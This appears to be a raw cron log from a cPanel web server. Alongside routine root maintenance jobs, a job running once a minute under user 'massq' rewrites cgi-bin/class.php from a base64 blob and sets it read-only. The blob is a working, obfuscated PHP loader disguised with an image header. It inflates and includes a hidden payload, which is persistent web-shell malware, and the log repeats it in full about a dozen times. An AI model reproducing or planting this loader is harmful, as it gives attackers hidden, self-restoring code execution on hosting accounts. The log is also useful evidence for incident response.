Sep  9 22:25:01 server CROND[29095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:25:01 server CROND[29096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:26:01 server CROND[29905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:26:01 server CROND[29906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:26:01 server CROND[29907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:27:01 server CROND[30280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:27:01 server CROND[30283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 22:27:01 server CROND[30282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:27:01 server CROND[30281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:28:01 server CROND[30669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:28:01 server CROND[30670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:28:01 server CROND[30671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:29:01 server CROND[31039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:29:01 server CROND[31040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:29:01 server CROND[31041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:30:01 server CROND[31511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:30:01 server CROND[31512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:30:01 server CROND[31514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:30:01 server CROND[31517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:30:01 server CROND[31515]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:30:01 server CROND[31516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:30:01 server CROND[31520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:30:01 server CROND[31518]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:31:01 server CROND[32395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:31:01 server CROND[32396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:31:01 server CROND[32397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:32:01 server CROND[339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:32:01 server CROND[340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:32:01 server CROND[341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:33:01 server CROND[732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:33:01 server CROND[733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:33:01 server CROND[734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:34:01 server CROND[1181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:34:01 server CROND[1182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:34:01 server CROND[1183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:35:01 server CROND[1701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:35:01 server CROND[1702]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:35:01 server CROND[1705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:35:01 server CROND[1713]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:35:01 server CROND[1720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:35:01 server CROND[1719]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 22:35:01 server CROND[1722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:35:01 server CROND[1721]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 22:35:01 server CROND[1729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:36:01 server CROND[2572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:36:01 server CROND[2573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:36:01 server CROND[2575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:37:01 server CROND[2972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:37:01 server CROND[2973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:37:01 server CROND[2974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:38:01 server CROND[3342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
